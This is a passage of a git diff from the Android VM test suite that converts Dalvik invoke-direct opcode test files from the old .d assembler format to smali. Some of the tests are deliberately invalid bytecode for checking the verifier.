-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v3, 50
-       const v4, 25
-       
-       invoke-direct {v6, v3}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali
new file mode 100644
index 0000000..758df2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_14.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v3, 50
+       const v4, 25
+       
+       invoke-direct {v6, v3}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_14;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.d
deleted file mode 100644
index 55b7d3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_15.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v3}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali
new file mode 100644
index 0000000..1c0480b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_15.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v3}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_15;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.d
deleted file mode 100644
index 10e041d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_16.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16/toInt()F
-       
-       const/4 v1, 0
-       return v1
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali
new file mode 100644
index 0000000..f75a043
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_16.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_16;->toInt()F
+       
+       const/4 v1, 0
+       return v1
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.d
deleted file mode 100644
index 35a54d9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_17.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, java/lang/String
-       invoke-direct {v0} java/lang/String/<init>()V
-         invoke-direct {v0} java/lang/String/<init>()V
-       return-void       
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali
new file mode 100644
index 0000000..519bf89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_17.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ljava/lang/String;
+       invoke-direct {v0} , Ljava/lang/String;-><init>()V
+         invoke-direct {v0} , Ljava/lang/String;-><init>()V
+       return-void       
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.d
deleted file mode 100644
index 602cbeb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_18.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_18
-.super dot/junit/opcodes/invoke_direct/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       const v0, 0
-       iput v0, v1, dot.junit.opcodes.invoke_direct.d.T_invoke_direct_18.val I
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali
new file mode 100644
index 0000000..10c18c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_18.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_18;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       const v0, 0
+       iput v0, v1, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_18;->val:I
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.d
deleted file mode 100644
index 0c11388..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_2.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali
new file mode 100644
index 0000000..8518e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_2.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_2;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.d
deleted file mode 100644
index d6653fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_21.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v3, 50
-       const v4, 25
-       
-       invoke-direct {v6, v3, v4}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali
new file mode 100644
index 0000000..012bd6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_21.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v3, 50
+       const v4, 25
+       
+       invoke-direct {v6, v3, v4}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_21;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.d
deleted file mode 100644
index 83fd3db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_24.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_24
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       
-       const-wide v3, 50
-       
-       invoke-direct {v6, v3, v4}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali
new file mode 100644
index 0000000..4461750
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_24.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_24;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       
+       const-wide v3, 50
+       
+       invoke-direct {v6, v3, v4}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_24;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.d
deleted file mode 100644
index 8d872ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_25.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_25
-.super dot/junit/opcodes/invoke_direct/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/<init>()V
-       return-void
-.end method
-
-.method private test()V
-    return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_direct/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/TPlain/<init>()V
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25/test()V
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.smali
new file mode 100644
index 0000000..994fd74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_25;
+.super Ldot/junit/opcodes/invoke_direct/TSuper;
+.source "T_invoke_direct_25.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 6
+
+    new-instance v2, Ldot/junit/opcodes/invoke_direct/TPlain;
+
+    invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TPlain;-><init>()V
+
+    invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_25;->test()V
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.d
deleted file mode 100644
index 40cce50..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_direct.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-; =====================================
-
-.source TTestInterfaceImpl.java
-.class public dot.junit.opcodes.invoke_direct.d.TTestInterfaceImpl
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_direct.d.TTestInterface
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-; =====================================
-
-.source T_invoke_direct_26.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_26
-.super dot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       invoke-direct {v7}, dot/junit/opcodes/invoke_direct/d/TTestInterface/test()V
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterface.smali
new file mode 100644
index 0000000..50aef9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
